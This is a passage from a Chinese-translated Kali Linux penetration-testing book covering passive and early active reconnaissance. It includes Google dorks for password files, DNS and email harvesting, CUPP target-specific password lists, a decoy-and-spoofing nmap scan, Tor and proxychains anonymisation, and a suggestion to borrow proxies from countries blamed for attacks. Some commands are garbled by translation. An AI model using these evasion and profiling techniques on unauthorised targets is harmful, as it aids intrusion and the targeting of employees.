静态图像可能非常有用,但是一个利用漏洞的视频,显示攻击者在攻击目标网络并显示他们获取敏感数据的行为,是一个非常有说服力的工具。instanbul 屏幕录像机创建了一个“正在进行的利用”视频,允许对利用进行重放以进行培训,或向客户展示漏洞。
总结
在本章中,我们研究了 Kali,这是一个被合法的渗透测试人员和黑客广泛使用来评估数据系统和网络安全性的工具集。我们强调 Kali 是一个虚拟机,允许主机操作系统和 VM 客户端都支持测试。
Kali 是一个工具库,使用它的一个挑战是确保工具是最新的。我们审查了 Debian 数据包管理系统,以及如何从命令行和 GUI 应用程序启动更新。最重要的是,我们学会了如何定制 Kali 以增加我们工具和它们收集的数据的安全性。我们正在努力实现使工具支持我们的流程的目标,而不是相反!
在下一章中,我们将学习如何有效地使用开源情报(OSINT)来识别我们目标的易受攻击的表面,并创建定制的用户名:密码列表,以便进行社会工程攻击和其他利用。
第二章:识别目标-被动侦察
侦察是进行渗透测试或对网络或服务器目标进行攻击时的杀伤链的第一步。攻击者通常会将渗透测试的整体工作量的高达 75%用于侦察,因为正是这个阶段允许定义、映射和探索漏洞,最终导致利用。
有两种类型的侦察:被动侦察和主动侦察。
通常,被动侦察涉及分析公开可用的信息,通常来自目标本身或在线公共来源。在访问这些信息时,测试人员或攻击者不会以异常的方式与目标进行交互——请求和活动不会被记录,或者不会直接追踪到测试人员。因此,首先进行被动侦察以最小化可能会发出即将发动攻击的信号或识别攻击者的直接接触。
在本章中,您将学习被动侦察的原则和实践,包括以下内容:
-
侦察的基本原则
-
开源情报(OSINT)
-
DNS 侦察和路由映射,包括 IPv4 和 IPv6 的问题
-
获取用户信息
-
为密码列表创建用户档案
直接与目标进行互动的主动侦察将在第三章中进行介绍,主动侦察和漏洞扫描。
侦察的基本原则
侦察,或者 recon,在对数据目标进行渗透测试或攻击时是杀伤链的第一步。这是在实际测试或攻击目标网络之前进行的。调查结果将指导需要进行额外侦察的方向,或者在利用阶段攻击的漏洞。
侦察活动在与目标网络或设备的互动程度梯度上进行分段。
被动侦察不涉及与目标网络的直接互动。攻击者的源 IP 地址和活动不会被记录(例如,对目标电子邮件地址进行谷歌搜索)。目标很难,甚至不可能将被动侦察与正常业务活动区分开来。
一般来说,被动侦察侧重于商业和监管环境、公司和员工。这类信息可以在互联网或其他公共来源获取,有时被称为开源情报,或者 OSINT。
-
被动侦察还涉及攻击者以预期方式与目标进行的正常互动。例如,攻击者将登录企业网站,查看各种页面,并下载文件以供进一步研究。这些互动是预期的用户活动,很少被检测为对目标进行攻击的前兆。
-
主动侦察涉及直接查询或其他互动(例如,对目标网络进行端口扫描),可能会触发系统警报或允许目标捕获攻击者的 IP 地址和活动。这些信息可以用于识别和逮捕攻击者,或者在法律诉讼中使用。因为主动侦察需要测试人员采取额外的技术来保持不被发现,所以将在第三章中进行介绍,主动侦察和漏洞扫描。
渗透测试人员或攻击者通常遵循结构化信息收集的过程,从广泛范围(商业和监管环境)到非常具体(用户帐户数据)。
为了有效,测试人员在收集开始之前应该清楚知道他们在寻找什么以及数据将如何使用。使用被动侦察并限制收集的数据量可以最大程度地减少被目标发现的风险。
开源情报
一般来说,渗透测试或攻击的第一步是收集开源情报,或者 OSINT。
OSINT 是从公共来源,特别是互联网上收集的信息。可用信息的数量是相当可观的——大多数情报和军事组织都在积极从事 OSINT 活动,以收集有关他们的目标的信息,并防范有关他们的数据泄漏。
OSINT 收集和分析的过程是复杂的,可能构成一本书;因此,我们只会涵盖基本要点。
提示
美国陆军手册 ATP 2-22.9(www.fas.org/irp/doddir/army/atp2-22-9.pdf
)和北约 OSINT 手册(information-retrieval.info/docs/NATO-OSINT.html
)都可以在线获取,并提供了如何收集和评估 OSINT 的出色技术评论。
针对收集的信息取决于渗透测试的初始目标。例如,如果测试人员想要访问财务数据,他们将需要相关员工(CFO、应收和应付账款等)的姓名和生物信息,他们的用户名和密码。如果攻击的途径涉及社会工程,他们可能会补充这些信息,以使信息请求更加可信。
OSINT 收集通常从审查目标的官方在线存在开始(网站、博客、社交媒体页面和第三方数据存储库,如公共财务记录)。感兴趣的信息包括以下内容:
-
办公室的地理位置,特别是共享企业信息但可能缺乏严格安全控制的远程或卫星办公室。
-
母公司和任何子公司的概述,特别是通过合并或收购获得的任何新公司(这些公司通常没有母公司安全)。
-
员工姓名和联系信息,特别是姓名、电子邮件地址和电话号码。
-
有关企业文化和语言的线索;这将有助于社会工程攻击。
-
可能连接到目标网络的商业伙伴或供应商。
-
使用的技术。例如,如果目标发布了关于采用新设备或软件的新闻稿,攻击者将会查看供应商的网站,寻找漏洞报告、已知或疑似的漏洞,以及可能用于促成各种攻击的详细信息。
攻击者可能使用的其他在线信息来源包括以下内容:
- 谷歌和必应等搜索引擎。从历史上看,这些搜索是高度手动的;攻击者输入特定于感兴趣信息的搜索词;例如,搜索词“公司名称”+密码 filetype:xls 可能会识别出包含员工密码的 Excel 电子表格。这些搜索词被称为谷歌 dorks(www.exploit-db.com/google-dorks/)。大多数搜索引擎已经发布了 API 以便进行自动查找,使得诸如Maltego之类的工具特别有效。
提示
最有效的搜索引擎之一是Yandex(www.yandex.com)。这家俄语搜索引擎是世界第四大搜索引擎,允许用户用多种语言进行搜索,包括英语。它还支持非常精细的搜索表达式,使其在搜索特定信息时比谷歌更有效。
其他应该搜索的在线来源包括:
-
提供有关合并和收购、关键人员姓名和支持数据的政府、金融或其他监管网站。
-
Usenet 新闻组,特别是目标员工寻求特定技术帮助的帖子
-
提供员工信息的 LinkedIn、Jigsaw 和其他网站
-
求职网站,特别是提供成功申请者必须支持的技术和服务列表的技术职位
-
通过搜索引擎检索的历史或缓存内容(在 Google 中的 cache:url,或在www.archive.org的 WayBack Machine)
-
特定国家和语言的社交和业务相关网站(参考
searchenginecolossus.com
) -
聚合和比较多个搜索引擎结果的网站,如 Zuula(www.zuula.com)
-
企业和员工博客,以及关键员工的个人博客
-
社交网络(LinkedIn、Facebook 和 Twitter)
-
提供 DNS、路由和服务器信息查找的网站,特别是 DNSstuff(www.dnsstuff.com)、ServerSniff(www.serversniff.net)、Netcraft(www.netcraft.com)和myIPneighbors.com
-
Shodan(www.shodanHQ.com),有时被称为“黑客的谷歌”;Shodan 列出了可通过互联网访问的设备,并允许测试人员搜索已知漏洞的设备
-
密码转储站点(pastebin,使用
site:pastebin.com "targetURL"
进行搜索)
管理发现可能很困难;然而,Kali 配备了 KeepNote,支持快速导入和管理不同类型的数据。
DNS 侦察和路由映射
一旦测试人员确定了具有在线存在并包含感兴趣项目的目标,下一步就是确定目标的 IP 地址和路由。
DNS 侦察涉及确定谁拥有特定的域或一系列 IP 地址(whois
类型的信息),定义实际域名和 IP 地址分配给目标的 DNS 信息,以及穿透测试人员或攻击者与最终目标之间的路由。
这种信息收集是半主动的——一些信息来自免费开放的来源,而其他信息来自 DNS 注册商等第三方。尽管注册商可能收集攻击者的 IP 地址和请求相关的数据,但很少提供给最终目标。目标可以直接监控的信息,例如 DNS 服务器日志,几乎从不被审查或保留。
因为所需的信息可以使用定义的系统化和有条理的方法查询,所以可以自动收集这些信息。
提示
请注意,DNS 信息可能包含过时或不正确的条目。为了最小化不准确的信息,查询不同的源服务器并使用不同的工具来交叉验证结果。审查结果,并手动验证任何可疑的发现。使用脚本自动收集这些信息。脚本应该为渗透测试创建一个文件夹,然后为每个运行的应用程序创建一系列文件夹。在脚本执行每个命令后,将结果直接传送到特定的保存文件夹。
WHOIS
研究 IP 地址空间的第一步是确定分配给目标站点的地址。通常使用whois
命令来完成这一步,该命令允许人们查询存储有关互联网资源的注册用户信息的数据库,例如域名或 IP 地址。
根据查询的数据库,对whois
请求的响应将提供姓名、地址、电话号码和电子邮件地址(有助于促进社会工程攻击),以及 IP 地址和 DNS 服务器名称。
攻击者可以使用whois
查询的信息来:
-
支持对查询中确定的位置或人员进行社会工程攻击
-
确定进行物理攻击的位置
-
识别可用于战争拨号攻击的电话号码,或进行社会工程攻击
-
进行递归搜索,以查找与目标托管在同一服务器上或由同一用户操作的其他域;如果它们不安全,攻击者可以利用它们来获得对服务器的管理访问权限,然后妥协目标服务器
-
在域名即将到期的情况下,攻击者可以尝试夺取该域名,并创建一个类似的网站来妥协那些认为自己在原始网站上的访问者
-
攻击者将使用权威 DNS 服务器,这些服务器是用于查找该域的记录,以促进 DNS 侦察
请注意,第三方用于保护这些数据的使用增加了,并且一些域,如.gov
和.mil
,可能无法访问公共域。对这些域的请求通常会被记录。有几个在线列表可用于描述分配给政府使用的域和 IP 地址;大多数工具接受“无联系”地址的选项,并且政府域应该输入这些字段以避免错误类型的关注!
发出whois
查询的最简单方法是从命令行。以下屏幕截图显示了对 Digital Defence 域运行的whois
命令:
返回的whois
记录包含地理信息、名称和联系信息,所有这些都可以用来促进社会工程攻击。
有几个网站可以自动化whois
查询,攻击者可以使用这些网站在目标和自己之间插入一步;然而,进行查询的网站可能会记录请求者的 IP 地址。
DNS 侦察
域名系统(DNS)是一个分布式数据库,将名称(www.digitaldefence.ca)解析为其 IP 地址(192.150.2.140
)。
攻击者使用 DNS 信息的以下方式:
-
使用暴力攻击,允许攻击者识别与目标相关的新域名。
-
如果 DNS 服务器配置为允许任何请求者进行区域传输,它将提供互联网可访问系统的主机名和 IP 地址,从而更容易识别潜在目标。如果目标没有将公共(外部)DNS 信息与私有(内部)DNS 信息分开,区域传输可能会公开内部设备的主机名和 IP 地址。(请注意,如果触发区域传输请求,大多数 IDS 和 IPS 系统将触发警报)。
-
查找可能容易受攻击(例如 FTP)或其他有趣的服务(远程管理面板和远程访问)。
-
查找配置错误和/或未打补丁的服务器(
dbase.test.target.com
)。 -
服务记录(SRV)提供有关服务、传输、端口和服务重要性顺序的信息。这可以让攻击者推断出软件。
-
DomainKeys Identified Mail(DKIM)和Sender Policy Framework(SPF)记录用于控制垃圾邮件。如果识别出这些记录,攻击者会知道:
-
他们比大多数组织更注重安全。
-
这可能会影响网络钓鱼和其他社会工程攻击。
Windows 和 Unix 都支持基本的命令行工具,如nslookup,而 Unix 系统支持额外的命令行选项,如dig
。不幸的是,这些命令通常一次只询问一个服务器,并且需要交互式响应才能有效。
Kali 具有几个旨在迭代地查询特定目标的 DNS 信息的工具。所选工具必须适应与目标进行通信的互联网协议版本——IPv4 或 IPv6。
IPv4
IP 地址,或者互联网协议地址,是用来识别连接到私人网络或公共互联网的设备的唯一数字。今天,互联网主要基于版本 4,即 IPv4。Kali 包括几个工具来促进 DNS 侦察,如下表所示:
应用 | 描述 |
---|---|
dnsenum ,dnsmap 和dnsrecon | 这些是全面的 DNS 扫描器——DNS 记录枚举(A,MX,TXT,SOA,通配符等),子域暴力攻击,Google 查找,反向查找,区域传输和区域遍历。dsnrecon 通常是第一选择——它非常可靠,结果被很好地解析,并且数据可以直接导入 Metasploit 框架。 |
dnstracer | 这确定给定域名系统从哪里获取其信息,并跟随 DNS 服务器链返回到知道数据的服务器。 |
dnswalk | 这个 DNS 调试器检查指定的域名的内部一致性和准确性。 |
fierce | 通过尝试区域传输,然后尝试暴力攻击以获取 DNS 信息,来定位指定域名的非连续 IP 空间和主机名。 |
在测试过程中,大多数调查员运行fierce
来确认已经识别出所有可能的目标,然后运行至少两个综合工具(例如dnsenum
和dnsrecon
)来生成最大量的数据,并提供一定程度的交叉验证。
在下面的屏幕截图中,dnsrecon
用于生成标准的 DNS 记录搜索,以及特定于 SRV 记录的搜索。每种情况下都显示了部分结果。
DNSrecon
允许渗透测试人员获取 SOA 记录、域名服务器(NS)、使用发件人策略框架(SPF)发送电子邮件的服务器,以及正在使用的 IP 地址范围。
IPv6
尽管 IPv4 似乎允许一个大的地址空间,但几年前已经耗尽了可用的 IP 地址,迫使采用 NAT 和 DHCP 来增加可用地址的数量。在 IPv6 的改进 IP 地址方案的采用中找到了一个更为永久的解决方案。尽管它只占互联网地址的不到五分之一,但它的使用率正在增加,渗透测试人员必须准备好应对 IPv4 和 IPv6 之间的差异。
在 IPv6 中,源地址和目的地址的长度为 128 位,可以产生 2128 个可能的地址,也就是 340 个不可思议的地址!
可寻址地址空间的增加大小给渗透测试人员带来了一些问题,特别是在使用扫描器遍历可用地址空间寻找活动服务器时。然而,IPv6 协议的一些特性已经简化了发现,特别是使用 ICMPv6 来识别活动的链路本地地址。
在进行初始扫描时考虑 IPv6 是很重要的,原因如下:
-
测试工具对 IPv6 功能的支持不均衡,因此测试人员必须确保每个工具都经过验证,以确定其在 IPv4、IPv6 和混合网络中的性能和准确性。
-
因为 IPv6 是一个相对较新的协议,目标网络可能包含泄露重要数据的错误配置;测试人员必须准备好识别和利用这些信息。
-
旧的网络控制(防火墙、IDS 和 IPS)可能无法检测到 IPv6。在这种情况下,渗透测试人员可以使用 IPv6 隧道来与网络保持隐蔽通信,并且无法被检测到地泄露数据。
Kali 包括几个专门用于利用 IPv6 的工具(大多数综合扫描器,如nmap
,现在支持 IPv6),其中一些如下;专门用于 IPv6 的工具主要源自 THC-IPv6 攻击工具包。
应用 | 描述 |
---|---|
dnsdict6 | 使用基于提供的字典文件或其自己的内部列表的暴力搜索,列举子域以获取 IPv4 和 IPv6 地址(如果存在)。 |
dnsrevenum6 | 给定 IPv6 地址,执行反向 DNS 枚举。 |
下面的屏幕截图显示了dnsdict6
命令的执行:
映射到目标的路线
路由映射最初是作为一种诊断工具使用的,它允许您查看 IP 数据包从一个主机到下一个主机的路径。使用 IP 数据包中的生存时间(TTL)字段,从一个点到下一个点的每个跳都会从接收路由器那里引发一个ICMP TIME_EXCEEDED消息,将 TTL 字段中的值减少 1。数据包计算跳数和路径。
从攻击者或渗透测试人员的角度来看,traceroute
数据提供了以下重要数据:
-
攻击者和目标之间的确切路径
-
有关网络外部拓扑的提示
-
识别访问控制设备(防火墙和数据包过滤路由器)可能正在过滤攻击流量
-
如果网络配置错误,可能会识别内部寻址
提示
使用基于 Web 的traceroute
(www.traceroute.org),可以追踪各种地理起源站点到目标网络。这些类型的扫描通常会识别连接到目标的多个不同网络,这是仅从靠近目标的位置进行单个traceroute
可能会错过的信息。基于 Web 的traceroute
还可以识别连接两个或更多网络的多宿主机。这些主机是攻击者的重要目标,因为它们大大增加了导致目标的攻击面。
在 Kali 中,traceroute
是一个使用 ICMP 数据包映射路由的命令行程序;在 Windows 中,该程序是tracert
。
如果您从 Kali 启动traceroute
,很可能会看到大多数跳数被过滤(数据显示为* * *)。例如,从作者目前的位置到www.google.com的traceroute
将产生以下结果:
然而,如果使用 Windows 命令行运行tracert
相同的请求,我们会看到以下内容:
我们不仅可以获得完整的路径,还可以看到www.google.com解析为稍有不同的 IP 地址,表明负载均衡器正在生效(您可以使用 Kali 的lbd
脚本来确认这一点;但是,这种活动可能会被目标站点记录)。
不同路径数据的原因是,默认情况下,traceroute
使用 UDP 数据包,而 Windows 的tracert
使用 ICMP echo 请求(ICMP 类型 8)。因此,使用 Kali 工具完成traceroute
时,重要的是使用多个协议以获得最完整的路径,并绕过数据包过滤设备。
Kali 提供以下工具来完成路由跟踪:
应用程序 | 描述 |
---|---|
hping3 | 这是一个 TCP/IP 数据包组装器和分析器。它支持 TCP、UDP、ICMP 和原始 IP,并使用类似 ping 的界面。 |
intrace | 这使用户能够通过利用现有的 TCP 连接枚举 IP 跳数,这些连接可以来自本地系统或网络,也可以来自本地主机。这使得它非常有用,可以绕过外部过滤器,如防火墙。intrace 是不太可靠的 0trace 程序的替代品。 |
trace6 | 这是一个使用 ICMP6 的traceroute 程序。 |
hping3
是最有用的工具之一,因为它可以控制数据包类型、源数据包和目标数据包。例如,谷歌不允许 ping 请求。但是,如果将数据包发送为 TCP SYN 请求,则可以 ping 服务器。
在下面的示例中,测试人员尝试从命令行 ping 谷歌。返回的数据表明www.google.com是一个未知的主机;谷歌显然正在阻止基于 ICMP 的 ping 命令。然而,下一个命令调用hping3
,指示它执行以下操作:
-
使用设置了 SYN 标志的 TCP 向谷歌发送类似 ping 的命令(
-S
)。 -
将数据包定向到端口 80;这种类型的合法请求很少被阻止(
- p 80
)。 -
设置发送三个数据包到目标的计数(
-c 3
)。
要执行前面的步骤,请使用以下截图中显示的命令:
hping3
命令成功识别目标在线,并提供一些基本的路由信息。
获取用户信息
许多渗透测试人员收集用户名称和电子邮件地址,因为这些信息经常用于登录到目标系统。
最常用的工具是网络浏览器,用于手动搜索目标组织的网站以及 LinkedIn 或 Jigsaw 等第三方网站。
Kali 中包含的一些自动化工具可以补充手动搜索。
提示
前员工的电子邮件地址仍然可能有用。在进行社会工程攻击时,将信息请求引导到前员工通常会导致重定向,使攻击者获得与之前员工打交道的“可信度”。此外,许多组织未能正确终止员工帐户,这些凭据可能仍然可以访问目标系统。
收集姓名和电子邮件地址
theharvester
工具是一个 Python 脚本,通过流行的搜索引擎和其他网站搜索电子邮件地址、主机和子域。
使用 theharvester
相对简单,因为只有几个命令开关需要设置。可用的选项包括:
-
-d
:这标识要搜索的域;通常是域或目标网站。 -
- b
:这标识提取数据的来源;必须是以下之一:
必应、BingAPI、谷歌、谷歌-配置文件、Jigsaw、LinkedIn、People123、PGP 或全部
-
- l
:此限制选项指示theharvester
仅从返回的搜索结果中收集指定数量的数据。 -
-f
:此选项用于将最终结果保存到 HTML 和 XML 文件中。如果省略此选项,结果将显示在屏幕上而不保存。
以下截图显示了对 digitaldefence.ca 域的谷歌索引进行简单搜索的结果:
收集文档元数据
文档元数据是指附加到文档中的信息,以便应用程序在创建和存储过程中对其进行管理。通常附加到文档的元数据示例包括以下内容:
-
创建文档的计算机网络上的位置
-
文档的作者姓名
-
文档创建的时间和日期
-
文件最后打印或修改的日期;在某些情况下,它将确定谁进行了修改
-
创建文档的计算机网络上的位置
-
某些文件,特别是由相机或移动设备创建的文件,可能包含地理标记,用于标识图像创建的位置
元数据对最终用户不是立即可见的,因此大多数文档都以元数据完整的形式发布。不幸的是,这种数据泄漏可能会透露出可以被测试人员或攻击者用来促成攻击的信息。至少,测试人员和攻击者可以通过将其与文档中的数据进行比较来收集用户名;他们可以识别与特定数据类型相关联的人,例如年度财务报告或战略规划。
随着移动设备变得更加普遍,与地理元数据相关的风险也在增加。攻击者寻找经常访问的地点(度假屋、酒店和餐馆),这些地点可能使他们能够针对在公司边界之外放松警惕的用户发动攻击。例如,如果目标组织的员工经常在社交媒体网站上发布等待通勤火车的照片,攻击者可能会针对该员工进行实体攻击(盗窃移动设备)、无线攻击,甚至偷看受害者的用户名和密码。
在 Kali 上,工具 Metagoofil
执行谷歌搜索,以识别并下载目标网站的文档(doc、docx、pdf、pptx、xls 和 xlsx),并提取用户名、软件版本、路径存储名称以及服务器或工作站名称,如下图所示:
Metagoofil
将指定数量的文档下载到临时文件夹,并提取和整理相关的元数据。它还针对先前下载并现在存储在本地的文件执行此功能。
Metagoofil
的第一个返回之一是找到的用户列表。以下是一个截断列表的截图:
Metagoofil
还识别文档的服务器和路径名。如果某些感兴趣的文档是与特定用户定位的(例如,在行政助理的工作站上找到的财务报告草稿),那么该系统可以在测试期间稍后被定位为目标,如下图所示:
为密码列表对用户进行个人资料分析
到目前为止,您已经学会了使用被动侦察来收集目标测试用户的姓名和生物信息;这是黑客使用的相同过程。下一步是使用这些信息来创建特定于用户和目标的密码列表。
常用密码列表可供下载,并存储在 Kali 的/usr/share/wordlists
目录中。这些列表反映了大量用户的选择,对于应用程序在移动到队列中的下一个密码之前尝试使用每个可能的密码可能需要很长时间。
幸运的是,常用用户密码分析器(CUPP)允许测试人员生成特定于特定用户的wordlist
。CUPP 在 Backtrack 5r3 上存在;但是,在 Kali 上使用时需要下载。要获取 CUPP,请输入以下命令:
git clone https://github.com/Mebus/cupp.git
这将下载 CUPP 到本地目录。
CUPP 是一个 Python 脚本,可以通过在 CUPP 目录中输入以下命令来简单地调用:
root@kali:~# python cupp.py -i
这将在交互模式下启动 CUPP,提示用户使用特定信息元素来创建wordlist
。以下是一个示例截图:
当交互模式完成创建wordlist
时,它将放置在 CUPP 目录中。
摘要
攻击过程或杀链的第一步是进行侦察,以识别目标和潜在的攻击路径。被动侦察评估公开可用的数据。这是一种隐秘的评估——攻击者的 IP 地址或活动几乎无法与正常访问区分开。然而,当进行社会工程攻击或促进其他攻击类型时,这些信息可能是至关重要的。
在下一章中,我们将评估更积极的侦察类型。尽管这些技术产生了更多的信息,但检测风险增加了。因此,重点将放在高级隐身技术上。
第三章:积极侦察和漏洞扫描
侦察阶段的目标是尽可能多地收集有关目标的信息,以便促进杀链的利用阶段。
我们已经看到,几乎不可检测的被动侦察可以为目标组织及其用户提供大量信息。
主动侦察建立在开源情报和被动侦察的结果之上,重点是使用探针来识别目标的路径和目标的暴露攻击面。一般来说,复杂的系统具有更大的攻击面,每个攻击面都可能被利用,然后被用来支持额外的攻击。
尽管主动侦察可以产生更多信息,更有用的信息,但与目标系统的交互可能会被记录,从而触发防护设备(如防火墙和入侵检测系统)的警报。随着数据对攻击者的有用性增加,被发现的风险也会增加;这在下图中有所体现:
为了提高主动侦察在提供详细信息方面的效果,我们的重点将放在使用隐秘或难以检测的技术上。
在本章中,您将学习:
-
隐身扫描策略
-
网络基础设施、主机发现和枚举
-
全面的侦察应用,特别是
recon-ng
-
有针对性的漏洞扫描
隐身扫描策略
主动侦察的最大风险是被目标发现。使用测试人员的时间和数据戳、源 IP 地址和其他信息,目标可以确定传入侦察的来源。因此,采用隐身技术以最小化被发现的机会。
在使用隐身支持侦察时,模拟黑客行为的测试人员将执行以下操作:
-
伪装工具签名以避免被检测和触发警报
-
在合法流量中隐藏攻击
-
修改攻击以隐藏流量的来源和类型
-
使用非标准流量类型或加密使攻击不可见
隐身扫描技术可以包括以下一些或全部内容:
-
调整源 IP 堆栈和工具识别设置
-
修改数据包参数(
nmap
) -
使用匿名网络的代理(ProxyChains 和 Tor 网络)
调整源 IP 堆栈和工具识别设置
在渗透测试人员(或攻击者)开始测试之前,必须确保 Kali 上的所有不必要的服务都已禁用或关闭。
例如,如果本地 DHCP 守护程序已启用且不需要,则可能会导致 DHCP 与目标系统交互,这可能会被记录并发送警报给目标的管理员。
大多数测试人员还会禁用在测试系统上运行的 IPv6。这将阻止 IPv6 在目标网络上宣布您的存在,并确保所有流量首先通过 IPv4 代理路由。禁用 IPv6 可以通过编辑/etc/sysctl.conf
文件来实现,其中包括以下行:
#disable ipv6
net.ipv6.conf.all.disable_ipv6 = 1
net.ipv6.conf.default.disable_ipv6 = 1
net.ipv6.conf.lo.disable = 1
一些商业和开源工具(例如 Metasploit Framework)会对其数据包进行标记。尽管这在系统事件日志的后期分析中可能会有用(可以直接将特定测试工具发起的事件与系统事件日志进行比较,以确定网络如何检测和响应攻击),但也可能触发某些入侵检测系统。测试您的工具以确定哪些数据包被标记,并更改标记,或谨慎使用该工具。
识别标记的最简单方法是将工具应用于新创建的虚拟镜像作为目标,并查看工具名称的系统日志。此外,使用 Wireshark 捕获攻击者和目标虚拟机之间的流量,然后搜索数据包捕获(pcap)文件以查找可以归因于测试工具的任何关键字(工具名称、供应商、许可证号等)。
Metasploit Framework 中的UserAgent
可以通过修改http_form_field
选项来更改。从 msfconsole 提示符中,选择使用auxiliary/fuzzers/http/http_form_field
选项,然后设置一个新的用户代理,如下图所示:
在此示例中,UserAgent
被设置为 Google 的索引蜘蛛,Googlebot。这是一个常见的自动应用程序,用于访问和索引网站,并且很少会引起网站所有者的注意。
注意
要识别合法的UserAgents
,请参考www.useragentstring.com上的示例。
修改数据包参数
主动侦察的最常见方法是对目标进行扫描——向目标发送定义的数据包,然后使用返回的数据包获取信息。这种类型的最流行工具是网络映射器(nmap)。
要有效使用nmap
,必须以 root 级别权限运行。这是操纵数据包的应用程序的典型特征,这也是为什么 Kali 在启动时默认为 root 的原因。
在尝试最小化检测时,一些隐秘技术以避免检测和随后的警报包括以下内容:
-
在测试之前确定扫描的目标,并发送最少数量的数据包以确定目标。例如,如果您希望确认 Web 主机的存在,首先需要确定端口 80 是否开放,这是用于基于 Web 的服务的默认端口。
-
避免可能连接到目标系统并泄露数据的扫描。不要对目标进行 ping 操作,也不要使用同步(SYN)和非常规数据包扫描,如确认(ACK)、完成(FIN)和重置(RST)数据包。
-
随机化或欺骗数据包设置,如源 IP 和端口地址以及 MAC 地址。
-
调整时间以减慢数据包到达目标站点的速度。
-
通过对数据包进行分片或附加随机数据来改变数据包大小,以混淆数据包检查设备。
例如,如果您想进行隐秘扫描并最小化检测,可以使用以下nmap
命令:
#nmap --spoof-mac- Cisco --data-length 24 –T paranoid –max-hostgroup 1 – max-parallelism 10 -PN -f –D 10.1.20.5,RND:5,ME --v –n –sS –sV–oA /desktop/pentest/nmap/out –p T:1-1024 –random-hosts 10.1.1.10 10.1.1.15
以下表格详细解释了上一个命令:
命令 | 原因 |
---|---|
--spoof-mac-Cisco | 伪装 MAC 地址以匹配思科产品。将Cisco 替换为0 将创建一个完全随机的 MAC 地址。 |
--data-length 24 | 在发送的大多数数据包中附加二十四个随机字节。 |
-T paranoid | 将时间设置为最慢的设置——paranoid 。 |
-- max-hostgroup | 限制同时扫描的主机数量。 |
-- max-parallelism | 限制发送的未完成探测的数量。您还可以使用--scan-delay 选项设置探测之间的暂停;但是,此选项与--max_parallelism 选项不兼容。 |
-PN | 不进行 ping 以识别活动系统(这可能会泄需数据)。 |
-f | 对数据包进行分片;这通常会欺骗低端和配置不当的 IDS。 |
-D 10.1.20.5, RND:5,ME | 创建伪装扫描,与攻击者的扫描同时运行;隐藏实际攻击。 |
-n | 不进行 DNS 解析;nmap 不会主动查询内部或外部 DNS 服务器以获取 DNS 信息。此类查询经常被记录,因此应禁用查询功能。 |
-sS | 进行隐秘的 TCP SYN 扫描,不完成 TCP 握手。也可以使用其他扫描类型(例如 Null 扫描);然而,这些大多数会触发检测设备。 |
-sV | 启用版本检测。 |
-oA /desktop/pentest/nmap | 输出结果到所有格式(普通、可搜索和 XML)。 |
-p T:1-1024 | 指定要扫描的 TCP 端口。 |
-- random-hosts | 随机化目标主机顺序。 |
这些选项将创建一个隐藏源真实身份的非常缓慢的扫描。然而,如果数据包太不寻常,复杂的修改实际上可能会引起目标的注意;因此,许多测试人员和攻击者使用匿名网络来最小化检测。
使用匿名网络(Tor 和 Privoxy)的代理
Tor (www.torproject.org)是第三代洋葱路由的开源实现,提供免费访问匿名代理网络。洋葱路由通过加密用户流量然后通过一系列洋葱路由器传输来实现在线匿名。在每个路由器处,会移除一层加密以获取路由信息,然后将消息传输到下一个节点。它被比喻为逐渐剥离洋葱的过程,因此得名。它通过保护用户 IP 流量的源和目的地来防范流量分析攻击。
在这个例子中,Tor 将与 Privoxy 一起使用,Privoxy 是一个非缓存的 Web 代理,位于与互联网通信的应用程序中间,并使用高级过滤来确保隐私并删除发送给测试人员的广告和潜在的敌对数据。
要安装 Tor,请执行以下步骤:
- 发出
apt-get update
和apt-get upgrade
命令,然后使用以下命令:
apt-get install tor
- 安装 Tor 后,编辑位于
/etc
目录中的Proxychains.conf
文件。
该文件规定了测试系统在通往 Tor 网络的途中将使用的代理的数量和顺序。代理服务器可能宕机,或者可能正在经历严重负载(导致连接缓慢或延迟);如果发生这种情况,定义或严格的 proxychain 将失败,因为缺少预期的链接。因此,禁用strict_chains
的使用,并启用dynamic_chains
,以确保连接将被路由,如下面的屏幕截图所示:
- 接下来,编辑
[ProxyList]
部分,确保socks5
代理存在,如下面的屏幕截图所示:
可以在网上轻松找到开放代理并将其添加到proxychains
文件中。测试人员可以利用这一点进一步混淆他们的身份。例如,如果有报告称某个国家或一系列 IP 地址最近负责在线攻击,可以在该位置寻找开放代理并将其添加到您的列表或单独的配置文件中。
- 要从终端窗口启动 Tor 服务,请输入以下命令:
root@kali:~# service tor start
- 使用以下命令验证 Tor 是否已启动:
root@kali:~# service tor status
- 验证 Tor 网络是否正常工作并提供匿名连接非常重要。首先验证您的源 IP 地址。从终端输入以下命令:
root@kali:~# iceweasel www.whatismyip.com
这将启动 Iceweasel 浏览器,并打开一个网站,该网站提供与该网页连接的源 IP 地址。注意 IP 地址,然后使用以下proxychains
命令调用 Tor 路由:
root@kali:~# proxychainsiceweasel www.whatismyip.com
在这种特定情况下,IP 地址被识别为96.47.226.60
。从终端窗口对该 IP 地址进行whois
查找表明,传输现在正在从 Tor 出口节点退出,如下面的屏幕截图所示:
您还可以通过访问check.torproject.org
来验证 Tor 是否正常运行。
尽管通信现在受到 Tor 网络的保护,但可能会发生 DNS 泄漏,当您的系统发出 DNS 请求以向 ISP 提供您的身份时就会发生。您可以在www.dnsleaktest.com上检查 DNS 泄漏。
当您测试 DNS 泄漏时,Kali 的 proxychains 配置会以美国的Level 3 Communications服务器的默认源 IP 地址作出响应,如下面的屏幕截图所示。这为测试人员的身份提供了额外的保护。
大多数命令行可以使用proxychains
从控制台运行以访问 Tor 网络。
使用 Tor 时,需要牢记以下一些考虑事项:
-
Tor 提供了匿名服务,但并不保证隐私。出口节点的所有者能够嗅探流量,并据报道可能能够访问用户凭据。
-
据报道,Tor 浏览器捆绑包中的漏洞曾被执法部门用来利用系统并获取用户信息。
-
ProxyChains 无法处理 UDP 流量。
-
一些应用程序和服务无法在这种环境下运行,特别是 Metasploit 和
nmap
可能会出错。nmap
的隐秘 SYN 扫描会打破 proxychains,并且会调用连接扫描;这可能会向目标泄露信息。 -
一些浏览器应用程序(ActiveX、Adobe 的 PDF 应用程序、Flash、Java、RealPlay 和 QuickTime)可以用来获取您的 IP 地址。
-
确保在浏览之前清除和阻止 cookie。
提示
Tor-Buddy 脚本允许您控制 Tor IP 地址刷新的频率,自动使识别用户信息更加困难(sourceforge.net/projects/linuxscripts/files/Tor-Buddy/
)。
识别网络基础设施
一旦测试人员的身份得到保护,识别互联网可访问部分网络上的设备是扫描网络的下一个关键的第一步。
攻击者和渗透测试人员利用这些信息进行以下操作:
-
识别可能混淆(负载均衡器)或消除(防火墙和数据包检查设备)测试结果的设备
-
